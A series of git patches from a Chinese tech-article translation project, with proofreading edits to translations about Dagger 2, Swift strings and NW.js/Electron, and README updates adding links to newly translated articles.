-Dagger 2 为你解析这些依赖，并生成把它们绑定在一起的代码。也有很多其它的 Java 依赖注入框架，但它们中很多个是有缺陷的，比如依赖 XML，需要在运行时验证依赖，或者在起始时造成性能负担。 [Dagger 2](http://google.github.io/dagger/) 纯粹依赖于 Java [注解解析器](https://www.youtube.com/watch?v=dOcs-NKK-RA)以及编译时检查来分析并验证依赖。它被认为是目前最高效的依赖注入框架之一。
+Dagger 2 为你解析这些依赖，并生成把它们绑定在一起的代码。也有很多其它的 Java 依赖注入框架，但它们中大多数是有缺陷的，比如依赖 XML，需要在运行时验证依赖，或者在起始时造成性能负担。 [Dagger 2](http://google.github.io/dagger/) 纯粹依赖于 Java [注解解析器](https://www.youtube.com/watch?v=dOcs-NKK-RA)以及编译时检查来分析并验证依赖。它被认为是目前最高效的依赖注入框架之一。
 
 ### 优点
 
@@ -31,7 +31,7 @@ public class MainActivity extends Activity {
    } 
 ```
 
- * **容易配置复杂的依赖**。 对象创建是有隐含顺序的。Dagger 2 浏览依赖图，并且[生成易于理解和追踪的代码](https://github.com/codepath/android_guides/wiki/Dependency-Injection-with-Dagger-2#code-generation)。而且，它可以节约大量的样板代码，使你不再需要手写，手动获取引用并把它们传递给其他对象作为依赖。它也简化了重构，因为你可以聚焦于构建模块本身，而不是它们被创建的顺序。
+ * **容易配置复杂的依赖关系**。 对象创建是有隐含顺序的。Dagger 2 遍历依赖关系图，并且[生成易于理解和追踪的代码](https://github.com/codepath/android_guides/wiki/Dependency-Injection-with-Dagger-2#code-generation)。而且，它可以节约大量的样板代码，使你不再需要手写，手动获取引用并把它们传递给其他对象作为依赖。它也简化了重构，因为你可以聚焦于构建模块本身，而不是它们被创建的顺序。
 
  * **更简单的单元和集成测试**  因为依赖图是为我们创建的，我们可以轻易换出用于创建网络响应的模块，并模拟这种行为。
 
@@ -41,7 +41,7 @@ public class MainActivity extends Activity {
 
 默认的 Android Studio 不把生成的 Dagger 2 代码视作合法的类，因为它们通常并不被加入 source 路径。但引入 `android-apt` 插件后，它会把这些文件加入 IDE classpath，从而提供更好的可见性。
 
-确保[升级](https://github.com/codepath/android_guides/wiki/Getting-Started-with-Gradle#upgrading-gradle) 到最迟的 Gradle 版本以使用最新的 `annotationProcessor` 语法: 
+确保[升级](https://github.com/codepath/android_guides/wiki/Getting-Started-with-Gradle#upgrading-gradle) 到最新的 Gradle 版本以使用最新的 `annotationProcessor` 语法: 
 
 ```gradle
 dependencies {
@@ -202,7 +202,7 @@ public interface NetComponent {
 
 #### 生成代码
 
-Dagger 2 的一个重要特点是它会为标注 `@Component` 的接口生成类的代码。你可以使用带有 `Dagger` (比如 `DaggerTwitterApiComponent.java`) 前缀的类来为依赖图提供实例，并用它来完成用 `@Inject` 注解的域的注入。 参见[[setup guide|Dependency-Injection-with-Dagger-2#setup]]。
+Dagger 2 的一个重要特点是它会为标注 `@Component` 的接口生成类的代码。你可以使用带有 `Dagger` (比如 `DaggerTwitterApiComponent.java`) 前缀的类来为依赖图提供实例，并用它来完成用 `@Inject` 注解的域的注入。 参见[设置](https://github.com/xitu/gold-miner/pull/1484#%E8%AE%BE%E7%BD%AE)。
 
 ### 实例化组件
 
@@ -382,7 +382,7 @@ public interface GitHubComponent {
 }
 ```
 
-假定 Github 模块只是把 API 接口返回给 github API:
+假定 Github 模块只是把 API 接口返回给 Github API:
 
 ```java
 
@@ -417,7 +417,7 @@ public interface NetComponent {
 }
 ```
 
-最终的步骤是用 `GitHubComponent` 进行实例化。这一次，我们需要首先实现 `NetComponent` 并把它传递给 `DaggerGitHubComponent` 建造者的构造方法：
+最终的步骤是用 `GitHubComponent` 进行实例化。这一次，我们需要首先实现 `NetComponent` 并把它传递给 `DaggerGitHubComponent` builder 的构造方法：
 
 ```java
 NetComponent mNetComponent = DaggerNetComponent.builder()
@@ -498,12 +498,12 @@ public class MyActivity extends Activity {
 }
 ```
 
-#### 子组件建造者
+#### 子组件 builder
 *从 v2.7 版本起可用*
 
-![Dagger 子组件建造者](https://raw.githubusercontent.com/codepath/android_guides/master/images/subcomponent_builders.png)
+![Dagger 子组件 builder](https://raw.githubusercontent.com/codepath/android_guides/master/images/subcomponent_builders.png)
 
-子组件建造者使创建子组件的类和子组件的父类解耦。这是通过移除父组件中的子组件工厂方法实现的。
+子组件 builder 使创建子组件的类和子组件的父类解耦。这是通过移除父组件中的子组件工厂方法实现的。
 
 ```java
 @MyActivityScope
@@ -521,7 +521,7 @@ public interface SubcomponentBuilder<V> {
 }
 ```
 
-子组件是在子组件接口内部的接口中声明的。它必须含有一个  `build()` 方法，其返回值和子组件相匹配。用这个方法声明一个基接口是很方便的，就像上面的`SubcomponentBuilder` 一样。这个新的**建造者必须被加入父组件的图中**，而这是用一个 "binder" 模块和一个 "subcomponents" 参数实现的:
+子组件是在子组件接口内部的接口中声明的。它必须含有一个  `build()` 方法，其返回值和子组件相匹配。用这个方法声明一个基接口是很方便的，就像上面的`SubcomponentBuilder` 一样。这个新的 **builder 必须被加入父组件的图中**，而这是用一个 "binder" 模块和一个 "subcomponents" 参数实现的:
 
 ```java
 @Module(subcomponents={ MyActivitySubComponent.class })
@@ -544,7 +544,7 @@ public @interface SubcomponentKey {
 }
 ```
 
-一旦建造者在出现在组件图中，activity 就可以用它来创建子组件：
+一旦 builder 在出现在组件图中，activity 就可以用它来创建子组件：
 
 ```java
 public class MyActivity extends Activity {

From b5bc496940ed9f61b97ec13d0c21fd9844045b84 Mon Sep 17 00:00:00 2001
From: Tuccuay <i@tuccuay.com>
Date: Mon, 10 Apr 2017 22:31:50 +0800
Subject: [PATCH 106/638] quote

---
 TODO/mastering-swift-essential-details-about-strings.md | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/TODO/mastering-swift-essential-details-about-strings.md b/TODO/mastering-swift-essential-details-about-strings.md
index 325223b5681..1abd697d093 100644
--- a/TODO/mastering-swift-essential-details-about-strings.md
+++ b/TODO/mastering-swift-essential-details-about-strings.md
@@ -541,4 +541,6 @@ print(numberOfStars) // => 2
 
 **对于字符操作你有没有找到更舒适的方法？写下评论我们一起来讨论一些吧！**
 
-**P.S.** 不知道你有没有兴趣阅读我的另一篇文章：[detailed overview of array and dictionary literals in Swift](https://rainsoft.io/concise-initialization-of-collections-in-swift/)
\ No newline at end of file
+**P.S.** 不知道你有没有兴趣阅读我的另一篇文章：[detailed overview of array and dictionary literals in Swift](https://rainsoft.io/concise-initialization-of-collections-in-swift/)
+
+>[掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
\ No newline at end of file

From 6b3ffdc1a0481ea0e9aa9cde2298129ac52041cf Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Mon, 10 Apr 2017 22:50:34 +0800
Subject: [PATCH 107/638] update according to proof-reading

---
 TODO/beyond-browser-web-desktop-apps.md | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/TODO/beyond-browser-web-desktop-apps.md b/TODO/beyond-browser-web-desktop-apps.md
index 9803dd3b2c6..1899ee8f1d9 100644
--- a/TODO/beyond-browser-web-desktop-apps.md
+++ b/TODO/beyond-browser-web-desktop-apps.md
@@ -2,7 +2,7 @@
 > * 原文作者：本文已获原作者 [Adam Lynch](https://www.smashingmagazine.com/author/adamlynch/) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者： [bambooom](https://github.com/bambooom)/[imink](https://github.com/imink)
-> * 校对者：[bambooom](https://github.com/bambooom)/[sunui](https://github.com/sunui)
+> * 校对者：[bambooom](https://github.com/bambooom)/[imink](https://github.com/imink)/[sunui](https://github.com/sunui)
 
 ## 超越浏览器：从 web 应用到桌面应用
 
@@ -12,7 +12,7 @@
 
 别慌，深呼吸，现实情况是，作为 web 开发者，你已经拥有开发现代桌面应用所需的一切技能，得益于新的强大的 API，你甚至可以在桌面应用中发挥你最大的潜能。
 
-本文将会介绍使用 [NW.js](http://nwjs.io/) 和 [Electron](https://electron.atom.io/) 开发桌面应用，它们的优劣，使用同一套代码库给桌面、web，甚至更多。
+本文将会介绍使用 [NW.js](http://nwjs.io/) 和 [Electron](https://electron.atom.io/) 开发桌面应用，包括它们的优劣，以及如何使用同一套代码库来开发桌面、web 应用，甚至更多。
 
 ### 为什么？
 
@@ -22,7 +22,7 @@
 
 很难总结为什么你应该考虑开发桌面应用，因为真的有很多类型的应用你可以创建。这非常取决于你想要达到什么目的，API 是否足够有利于开发，离线使用将多大程度上增强用户体验。在我的团队，这些都是毋庸置疑的，因为我们在开发一个[聊天应用程序](https://teamwork.com/chat)。另一方面来说，一个依赖于网络而没有任何与系统集成的桌面应用应该做成一个 web 应用，并且只做 web 应用。当用户并不能从桌面应用中获得比在浏览器中访问一个网址更多的价值的时候，期待用户下载你的应用（其中自带浏览器以及 Node.js）是不公平的。
 
-比起描述你个人应该建造的桌面应用及其原因，我更希望的是激发一个想法，或者只是激发你对这篇文章的兴趣。继续往下读来看看用 web 技术构造一个强大的桌面应用是多么简单，以及创建完成（或者在这过程中）一个 web 应用你需要承受什么。。
+比起描述你个人应该建造的桌面应用及其原因，我更希望的是激发一个想法，或者只是激发你对这篇文章的兴趣。继续往下读来看看用 web 技术构造一个强大的桌面应用是多么简单，以及在创建过程中你应该付出什么。
 
 ### NW.js
 
@@ -81,7 +81,7 @@ Chromium 有一个主要的后台进程，每个标签页也会有自己的进
 
 就是这么简单。NW.js 初始化了第一个窗口，加载了你的 HTML 文件，虽然这看起来并没有什么，但接下来就是你来添加标签及样式了，就和在 web 应用中一样。
 
-你可以凭自己喜好去掉窗口栏，构建自己的框架模板。你可以有半透明或全透明的窗口，可以有隐藏窗口或者更多。我最近试了一下用 NW.js 复活了[回形针](http://engineroom.teamwork.com/resurrecting-clippy/) Office 助手（一般昵称 Clippy）。能看到它同时在 macOS 或者 Windows 10 中复活有种奇妙的满足感。
+你可以凭自己喜好去掉窗口栏，构建自己的框架模板。你可以有半透明或全透明的窗口，可以有隐藏窗口或者更多。我最近尝试使用 NW.js 做了[Clippy](http://engineroom.teamwork.com/resurrecting-clippy/)（Office 助手）。能在 macOS 和 Windows 10 上看到它有种奇妙的满足感。
 
 ![Screenshot of clippy.desktop on macOS](https://www.smashingmagazine.com/wp-content/uploads/2017/01/clippy-preview-opt.png)
 
@@ -217,11 +217,11 @@ NW.js 和 Electron 都支持很多平台，包括 Windows，Mac 和 Linux。Elec
 
 Electron 甚至支持 ARM 版本，所以你的 app 可以在 Chromebook 或者树莓派上运行，最终，Google 可能会[逐步淘汰 Chrome 封装应用 （Packaged App）](https://blog.chromium.org/2016/08/from-chrome-apps-to-web.html)，但是 NW.js 仍然支持将应用程序移植到 NW.js 应用，并且仍然可以访问相同的 Chromium API。
 
-虽然 32 位和 64 位的版本都支持，你也可以使用 64 位的 Mac 和 Windows 应用。但是，为了兼容，32 位和 64 位 Linux 应用程序是都需要的。
+虽然 32 位和 64 位的版本都支持，所以你完全可以使用 64 位的 Mac 和 Windows 应用。但是，为了兼容，32 位和 64 位 Linux 应用程序是都需要的。
 
 假如 Electron 胜出，你想发行一个 Electron 应用。有一个很不错的 Node.js 包叫 [electron-packager](https://github.com/electron-userland/electron-packager) 可以帮你将 app 打包成一个 `.app` 或者 `.exe` 文件。也有其他几个类似的项目，包括交互式的一步一步告诉你该怎么做。不过，你应该用 [electron-builder](https://github.com/electron-userland/electron-builder)，它以 electron-packager 为基础，添加了其他几个相关的模块，生成的是 `.dmg` 文件和 Windows 安装包，并且为你处理好了代码签名的问题。这很重要，如果没有这一步，你的应用将会被操作系统认为是不可信的，你的应用程序可能会触发防毒软件的运行，Microsoft SmartScreen 可能会尝试阻止用户启动你的应用。
 
-关于代码签名的令人讨厌的事情是，你必须在 Mac 上为 Mac 和 Windows 上为 Windows 签署你的应用程序。因此，如果是认真要发行桌面应用的话，就需要为每个发行版本给多种机器构建。
+关于代码签名的令人讨厌的事情是，你必须单独为某个平台签名你的应用程序，比如在 Mac 上签名 Mac 应用，在 Windows 签名 Windows 应用。因此，如果你很在乎发行桌面应用的话，就必须为每个发行版本分别构建适用于不同平台的应用（以及分别签名）。
 
 这可能会感到不够自动化很繁琐，特别是如果你习惯于在 web 上创建。幸运的是，electron-builder 被创造出来完成这些自动化工作。我说的是持续集成工具例如 [Jenkins](https://jenkins.io/)，[CodeShip](http://codeship.com/)，[Travis-CI](https://travis-ci.org/)，[AppVeyor](https://www.appveyor.com/)（Windows 集成）等。这些工具可以让你按一个按钮或者每次更新代码到 GitHub 时重新构建你的桌面应用。
 

From 0e05d37cf28db7bc0282e66922aa56d1588ce5c7 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Mon, 10 Apr 2017 23:04:02 +0800
Subject: [PATCH 108/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20Preload=EF=BC=8CPr?=
 =?UTF-8?q?efetch=20=E5=92=8C=E5=AE=83=E4=BB=AC=E5=9C=A8=20Chrome=20?=
 =?UTF-8?q?=E4=B9=8B=E4=B8=AD=E7=9A=84=E4=BC=98=E5=85=88=E7=BA=A7=20?=
 =?UTF-8?q?=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 3 ++-
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 066b76a852c..7e89841009a 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [448](#近期文章列表) 篇文章，共有 [270](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [449](#近期文章列表) 篇文章，共有 [270](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,6 +37,7 @@
 
 ## 前端
 
+* [Preload，Prefetch 和它们在 Chrome 之中的优先级](https://juejin.im/post/58e8acf10ce46300585a7a42?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [setState() 门事件](https://juejin.im/post/58e5aeccb123db15eb80ecb0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [如何使用 JavaScript 构建响应式引擎 —— Part 2：计算属性和依赖追踪](https://juejin.im/post/58ddeb1a570c3500579016ef?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([IridescentMia](https://github.com/IridescentMia) 翻译)
 * [如何使用 JavaScript 构建响应式引擎 —— Part 1：可观察的对象](https://juejin.im/post/58dc9da661ff4b0061547ca0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([IridescentMia](https://github.com/IridescentMia) 翻译)
diff --git a/front-end.md b/front-end.md
index e38e54951be..3a2df9cf268 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [Preload，Prefetch 和它们在 Chrome 之中的优先级](https://juejin.im/post/58e8acf10ce46300585a7a42?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [setState() 门事件](https://juejin.im/post/58e5aeccb123db15eb80ecb0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [如何使用 JavaScript 构建响应式引擎 —— Part 2：计算属性和依赖追踪](https://juejin.im/post/58ddeb1a570c3500579016ef?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([IridescentMia](https://github.com/IridescentMia) 翻译)
 * [如何使用 JavaScript 构建响应式引擎 —— Part 1：可观察的对象](https://juejin.im/post/58dc9da661ff4b0061547ca0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([IridescentMia](https://github.com/IridescentMia) 翻译)

From 41cb0f72b78d66bde60349afd8257b160f40b9c6 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Mon, 10 Apr 2017 23:57:52 +0800
Subject: [PATCH 109/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20CSS=E5=BE=88?=
 =?UTF-8?q?=E6=A3=92=EF=BC=8C=E5=8F=AA=E6=98=AF=E7=9C=9F=E7=9A=84=E5=A4=AA?=
 =?UTF-8?q?=E9=9A=BE=E4=BA=86=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 3 ++-
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 7e89841009a..c7c8629cecf 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [449](#近期文章列表) 篇文章，共有 [270](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [450](#近期文章列表) 篇文章，共有 [270](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,6 +37,7 @@
 
 ## 前端
 
+* [CSS很棒，只是真的太难了](https://juejin.im/entry/58eae24a61ff4b0061a6a102?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)
 * [Preload，Prefetch 和它们在 Chrome 之中的优先级](https://juejin.im/post/58e8acf10ce46300585a7a42?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [setState() 门事件](https://juejin.im/post/58e5aeccb123db15eb80ecb0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [如何使用 JavaScript 构建响应式引擎 —— Part 2：计算属性和依赖追踪](https://juejin.im/post/58ddeb1a570c3500579016ef?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([IridescentMia](https://github.com/IridescentMia) 翻译)
diff --git a/front-end.md b/front-end.md
index 3a2df9cf268..52e31749ac5 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [CSS很棒，只是真的太难了](https://juejin.im/entry/58eae24a61ff4b0061a6a102?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)
 * [Preload，Prefetch 和它们在 Chrome 之中的优先级](https://juejin.im/post/58e8acf10ce46300585a7a42?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [setState() 门事件](https://juejin.im/post/58e5aeccb123db15eb80ecb0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [如何使用 JavaScript 构建响应式引擎 —— Part 2：计算属性和依赖追踪](https://juejin.im/post/58ddeb1a570c3500579016ef?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([IridescentMia](https://github.com/IridescentMia) 翻译)

From 9b8d36b6d710e3bc3411c12a2f9601c984112811 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Tue, 11 Apr 2017 00:16:25 +0800
Subject: [PATCH 110/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20Android=20?=
 =?UTF-8?q?=E5=A6=82=E4=BD=95=E5=AE=9E=E7=8E=B0=E6=B0=94=E6=B3=A1=E9=80=89?=
 =?UTF-8?q?=E6=8B=A9=E5=8A=A8=E7=94=BB=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 7 +++----
 android.md | 1 +
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/README.md b/README.md
index c7c8629cecf..dae41fd13fa 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [450](#近期文章列表) 篇文章，共有 [270](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [451](#近期文章列表) 篇文章，共有 [270](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -20,10 +20,10 @@
 
 ## Android
 
+* [Android 如何实现气泡选择动画](https://juejin.im/post/58e5ec838d6d8100616d82e2/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([skyar2009](https://github.com/skyar2009) 翻译)
 * [一个人的 Android 开发](https://juejin.im/entry/58dca515b123db00603887fd/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([BoilerYao](https://github.com/BoilerYao) 翻译)
 * [我是如何做到在 5 分钟之内将应用大小减少 60% 的](https://juejin.im/post/58d9b6a1a22b9d0064719f9e/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([jifaxu](https://github.com/jifaxu) 翻译)
 * [拉模式和推模式，命令式和响应式 – 响应式编程 [Android RxJava2]（这到底是什么）：第二部分](https://juejin.im/entry/58d78547a22b9d006465ca57/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([XHShirley](https://github.com/XHShirley) 翻译)
-* [离线支持：不再『稍后重试』](https://juejin.im/post/58d491a8128fe1006cb6e750/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([skyar2009](https://github.com/skyar2009) 翻译)
 * [所有 Android 译文>>](https://github.com/xitu/gold-miner/blob/master/android.md)
 
 
@@ -41,8 +41,7 @@
 * [Preload，Prefetch 和它们在 Chrome 之中的优先级](https://juejin.im/post/58e8acf10ce46300585a7a42?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [setState() 门事件](https://juejin.im/post/58e5aeccb123db15eb80ecb0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [如何使用 JavaScript 构建响应式引擎 —— Part 2：计算属性和依赖追踪](https://juejin.im/post/58ddeb1a570c3500579016ef?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([IridescentMia](https://github.com/IridescentMia) 翻译)
-* [如何使用 JavaScript 构建响应式引擎 —— Part 1：可观察的对象](https://juejin.im/post/58dc9da661ff4b0061547ca0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([IridescentMia](https://github.com/IridescentMia) 翻译)
-* [生活在 JavaScript 之中：学习第二门语言的好处](https://juejin.im/post/58d908deac502e0058db544b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
+* [如何使用 JavaScript 构建响应式引擎 —— Part 1：可观察的对象](https://juejin.im/post/58dc9da661ff4b0061547ca0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/android.md b/android.md
index 2c1b495bf9d..8b02a079727 100644
--- a/android.md
+++ b/android.md
@@ -1,3 +1,4 @@
+* [Android 如何实现气泡选择动画](https://juejin.im/post/58e5ec838d6d8100616d82e2/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([skyar2009](https://github.com/skyar2009) 翻译)
 * [一个人的 Android 开发](https://juejin.im/entry/58dca515b123db00603887fd/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([BoilerYao](https://github.com/BoilerYao) 翻译)
 * [我是如何做到在 5 分钟之内将应用大小减少 60% 的](https://juejin.im/post/58d9b6a1a22b9d0064719f9e/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([jifaxu](https://github.com/jifaxu) 翻译)
 * [拉模式和推模式，命令式和响应式 – 响应式编程 [Android RxJava2]（这到底是什么）：第二部分](https://juejin.im/entry/58d78547a22b9d006465ca57/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([XHShirley](https://github.com/XHShirley) 翻译)

From 771a38fa640cf24e5ad6d75ee86e182e6476175b Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Tue, 11 Apr 2017 00:46:50 +0800
Subject: [PATCH 111/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E5=9C=A8=20Apache?=
 =?UTF-8?q?=20=E5=92=8C=20Nginx=20=E6=97=A5=E5=BF=97=E9=87=8C=E6=A3=80?=
 =?UTF-8?q?=E6=B5=8B=E7=88=AC=E8=99=AB=E6=9C=BA=E5=99=A8=E4=BA=BA=20?=
 =?UTF-8?q?=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 4 ++--
 backend.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index dae41fd13fa..62a56a84c1f 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [451](#近期文章列表) 篇文章，共有 [270](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [452](#近期文章列表) 篇文章，共有 [270](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -56,10 +56,10 @@
 
 ## 后端
 
+* [在 Apache 和 Nginx 日志里检测爬虫机器人](https://juejin.im/post/58ea5758ac502e4957c78808/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([luoyaqifei](https://github.com/luoyaqifei) 翻译)
 * [如何在 ChromeOS 下用 Go 搭建 Web 服务](https://juejin.im/post/58d9e1711b69e6006bc38b1a/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen) 翻译)
 * [在你沉迷于包的海洋之前，还是了解一下运行时 Node.js 的本身](https://juejin.im/post/58cf4a3144d90400690b7be7/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([fghpdf](https://github.com/fghpdf) 翻译)
 * [Pull request review 的十大错误](https://juejin.im/post/58ce3b3e61ff4b006c988f63/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([luoyaqifei](https://github.com/luoyaqifei) 翻译)
-* [震惊！RxJava 5 个不为人知的小秘密](https://juejin.im/post/58cb833b8ac247218c2632e5/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([skyar2009](https://github.com/skyar2009) 翻译)
 * [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md)
 
 ## 教程
diff --git a/backend.md b/backend.md
index 2e7926a7cba..8b96be0ba3f 100644
--- a/backend.md
+++ b/backend.md
@@ -1,3 +1,4 @@
+* [在 Apache 和 Nginx 日志里检测爬虫机器人](https://juejin.im/post/58ea5758ac502e4957c78808/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([luoyaqifei](https://github.com/luoyaqifei) 翻译)
